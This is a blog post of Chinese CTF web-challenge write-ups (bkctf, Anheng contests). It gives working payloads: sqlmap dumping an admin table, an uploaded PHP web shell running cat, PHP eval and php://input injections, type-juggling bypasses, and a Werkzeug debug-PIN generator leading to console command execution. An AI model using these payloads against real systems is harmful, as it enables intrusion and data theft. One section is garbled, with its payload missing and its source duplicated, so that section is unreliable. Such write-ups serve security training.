Host: 114.55.36.69:8010
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://114.55.36.69:8010/
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Connection: close
Upgrade-Insecure-Requests: 1

word=123&number=5

paylload:sqlmap -r burp.txt -D news -T admin --dump

flag:flag{f98505d1d12f50a0bd9463e90876630}

省赛添加

http://www.camser.top/2018/06/26/%E5%AE%89%E6%81%92%E6%9C%88%E8%B5%9Bweb%E7%AF%87/#ezupload

http://114.55.36.69:8015/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/test.gif.php?code=cat%20../../dc9d7b225e0a391fb028fb337ffd1c1d/f14g

/tmp/upload_td5pr76p91efjs5qcuad4b0q52/
/tmp/upload_ru3o7d9kqb8a14jp0fc2m4a7u5/
/tmp/upload_ru3o7d9kqb8a14jp0fc2m4a7u5/
/tmp/upload_ru3o7d9kqb8a14jp0fc2m4a7u5/
/tmp/upload_2e5g1d0qainrjqm7se8nv4ife2/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
<?php
class SimpleZip{
    public $file;
    public $za;
    public $debug;

    function __construct($file, $debug = false){
        $this->file = $file;
        $this->debug = $debug;
        $this->za = new ZipArchive();
        $this->za->open($this->file);
        if($this->debug){
            echo "Open file {$this->file}\n";
        }
    }

    public function iszip(){
        return ($this->za->open($this->file) === true)?true:false;
    }

    public function extract($dir, $exclude = array()){
        if($this->iszip() === true){
            for($i = 0; $i < $this->za->numFiles; $i++) {
                $filename = $this->za->getNameIndex($i);
                if(in_array(basename($filename), $exclude)){
                    continue;
                }
                $pathinfo = pathinfo($filename);
                if(!file_exists($dir.'/'.$pathinfo['dirname'])){
                    @mkdir($dir.'/'.$pathinfo['dirname'], 0777, true);
                }
                if(file_exists($dir.'/'.$pathinfo['dirname'])){
                    copy("zip://".$this->file."#".$filename, $dir.'/'.$filename);
                }
                if($this->debug){
                    echo 'Extract: '.$dir.'/'.$filename."\n";
                }
            }
            return true;
        }
        return false;
    }

    public function getFiles(){
        $list = array();
        if($this->iszip() === true){
            for($i = 0; $i < $this->za->numFiles; $i++) {
                $filename = $this->za->getNameIndex($i);
                $list[] = $filename;
            }
        }
        return $list;
    }

    public function getContents($filename){
        return file_get_contents("zip://".$this->file."#".$filename);
    }

    function __destruct(){
        $this->za->close();
    }
}

function getExt($name){
    return strrchr(basename($name), '.');
}
if(isset($_FILES['file']['name']) && !$_FILES['file']['error']){
    header("Content-type: text/plain; charset=utf-8");
    $ext = getExt($_FILES['file']['name']);
    if($_FILES['file']['size'] > 1024*1024){
        die('文件太大了');
    }
    if($ext !== '.zip'){
        die('文件格式错误');
    }
    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        $file = $_FILES['file']['tmp_name'];
        $sz = new SimpleZip($file);
        if(!$sz->iszip()){
            die('文件格式错误');
        }
        $tmpname = tempnam(sys_get_temp_dir(), 'vs.');
        unlink($tmpname);
        $tmpdir = sys_get_temp_dir().'/'.md5($tmpname);
        mkdir($tmpdir);
        if(!file_exists($tmpdir)){
            die('系统错误1');
        }
        if(!$sz->extract($tmpdir)){
            die('系统错误2');
        }
        $files = $sz->getFiles();
        $files_num = 0;
        foreach($files as $name){
            if(!in_array(getExt($name), array('.jpg','.png','.jpeg','.gif')) || strpos($name, '.ph') !== false){
                unlink($tmpdir.'/'.$name);
                continue;
            }
            $files_num++;
            echo "/upload/".md5($tmpname)."/{$name}\n";
        }
        if($files_num > 0){
            shell_exec("mv ".escapeshellarg($tmpdir)." ".escapeshellarg($_SERVER['DOCUMENT_ROOT'].'/upload/'.md5($tmpname)));
        }else{
            rmdir($tmpdir);
            die('没有图片');
        }
    }
    exit;
}
?>

md5爆破脚本

题目:md5(key)=="5a2a7d385fdaad3fabbe7b11c28bd48e"and the key is ichunqiu[a-z0-9]{5}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import hashlib
def md5(data):
    m = hashlib.md5()
    m.update(data)
    a = m.hexdigest()
    return a

a = 'ichunqiu'
b = 'abcdefghijklmnopqrstuvwxyz1234567890'
for i in b:
    for j in b:
        for k in b:
            for l in b:
                for m in b:
                    if md5(a+i+j+k+l+m)=='5a2a7d385fdaad3fabbe7b11c28bd48e':
                        print(a+i+j+k+l+m)

from 2017.bkctf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd']))    
{
   if ($_GET['uname'] == $_POST['passwd'])
       print 'passwd can not be uname.';
   else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
       die('Flag: '.$flag);
    else
        print 'sorry!';
}
?>

payload:url/?uname[]=1#id=margin
post:passwd[]=2

TXT

源题目(from 2017.bkctf)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

方法一：$f = trim(file_get_contents($fn)) 想办法获得一个文本文件fn提取字符串赋值给f.可以在自己的服务器上加个txt内容与ac的get值相等是可以做的…再想出题人不可能让每个做的人去自己服务器写个txt吧…于是在这道题URL框后面加了flag.txt就出现了文本信息“flags”…

payload:url/?ac=flag&fn=url/flag.txt

方法二：狐火页面工具，运用php输入流，将fn获得的值设置为post进去的值.

payload:url/?ac=123&fn=php://input,post:123

本地包含

源题目(from 2017.bkctf)

1
2
3
4
5
6
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>

构造：http://post.bugku.com/hello/(起始网址) + ?hello=print_r(file(“flag.php”)).

6.正则？

源题目(from 2017.bkctf):

1
2
3
4
5
6
7
8
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

明白正则就很简单了，/匹配开始,/key匹配第一个key,.匹配0次或多次的除换行符之外的字符，key再匹配一个key,{4,7}key匹配4次到7次的key,\/.\/中，\为转义字符，即匹配符号//并且之中可匹配除换行符意外的任意字符，(.key)意思与之前相同，[a-z]可匹配a-z的字母，[:punct:]意思为可以匹配符号,/i的意思是不区分大小写。

payload:keykeykeykeykeykeykey:/a/keys[!]

https://cloud.tencent.com/developer/article/1038132

2018安恒杯-9月月赛web

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

根据代码，我们要满足两个条件：

1.长度不能大于40
2.不能包含大小写字母，数字

参考这篇文章文章2,利用linux的特性来读取文件.
根据师傅们的尝试/???/??? => /bin/cat,所以我们来查看下源码，经过尝试发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


```php
<?php
function getFlag(){
	$flag = file_get_contents('/flag');
	echo $flag;
}<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

分析只要查看到/flag就可以得到flag,所以payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

注意这些`?>`是为了闭合前面的语句，在重新添加一句ｐｈｐ的语句来执行命令


## 粗心的程序员呀(2018安恒8月赛)

>考点：Flask debug pin安全问题
参考:https://xz.aliyun.com/t/2553
http://skysec.top/2018/08/25/2018%E5%AE%89%E6%81%928%E6%9C%88%E8%B5%9BWriteup/#web
https://www.smi1e.top/%e5%ae%89%e6%81%92%e6%9d%af%e6%9c%88%e8%b5%9bwrite-up/
https://www.jianshu.com/p/e4cfa55a401a



打开网站

![](https://i.loli.net/2018/11/11/5be7b324372ec.png)

点击注册

![](https://i.loli.net/2018/11/11/5be7b3240ed12.png)


写着什么图床系统，很奇怪,注册之后更奇怪

![OperationalError database is locked Werkzeug Debugger.png](https://i.loli.net/2018/11/11/5be7b3243eefa.png)

根据先知那位师傅的解释，主要就是利用Flask在debug模式下会生成一个Debugger PIN,我们就是要获取pin码，才可以进行任意的代码执行，来获取flag


参考飘零师傅的脚本
```python
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892354'# str(uuid.getnode()),  /sys/class/net/eth0/address
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

运行之后得到pin:131-442-946

点击右边那个小终端

输入刚才的pin

然后就可以执行命令

输入以下命令

1
2
3
4
5
6
7
[console ready]
>>> from subprocess import check_output
>>> check_output('ls',shell=True)
'app\nbin\nboot\ndev\netc\nfff111aaggggg___hhh\nhome\nlib\nlib64\nmedia\nmnt\nopt\n  
>>> os.popen('cat fff111aaggggg___hhh').read()
'flag{87052362d59339071c5ce607ad28b752}\n'
>>>

##　暴力可解

盲水印攻击首先爆破压缩包密码23092019

python bwm.py decode 1.png 2.png flag.png

原文作者: threst

原文链接: https://threst.github.io/2018/11/11/ctf/

发表日期: November 11th 2018, 2:32:13

版权声明: 本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. tjctf
  2. 2. 金融业网络安全攻防比赛热身赛
    1. 2.1. babygit
      1. 2.1.1. 0x01
      2. 2.1.2. 0x02
      3. 2.1.3. 0x03
    2. 2.2. calculate
      1. 2.2.1. 源码
    3. 2.3. writeup
  3. 3. 网鼎杯wp
  4. 4. 套娃
    1. 4.1. babyrsa
  5. 5. 安恒_奇怪的恐龙特性
    1. 5.1. 知识点
  6. 6. loli
  7. 7. play fair加密(关键字公平)
    1. 7.1. 例题
  8. 8. rfc4042
  9. 9. kill(2016全国大学生信息安全竞赛)
  10. 10. 2018“安恒杯”Web安全测试大赛（秋季预选赛）
    1. 10.0.1. 输入试试
  • 11. 简单的md5
  • 12. 传个flag试试
  • 13. md5 crash
  • 14. 简单的新闻搜索网站
  • 15. 省赛添加
  • 16. md5爆破脚本
  • 17. from 2017.bkctf
  • 18. TXT
  • 19. 本地包含
  • 20. 6.正则？
  • 21. 2018安恒杯-9月月赛web
    • Total : 42
    2019
    2018
    瞎记罢写 ctf CVE-2017-8464 apt BadUSB netcat CVE-2017-11882 git 系统 writeup kali docker php pwn 0day 安全客弃婴 CVE-2018-8174 writeup ctf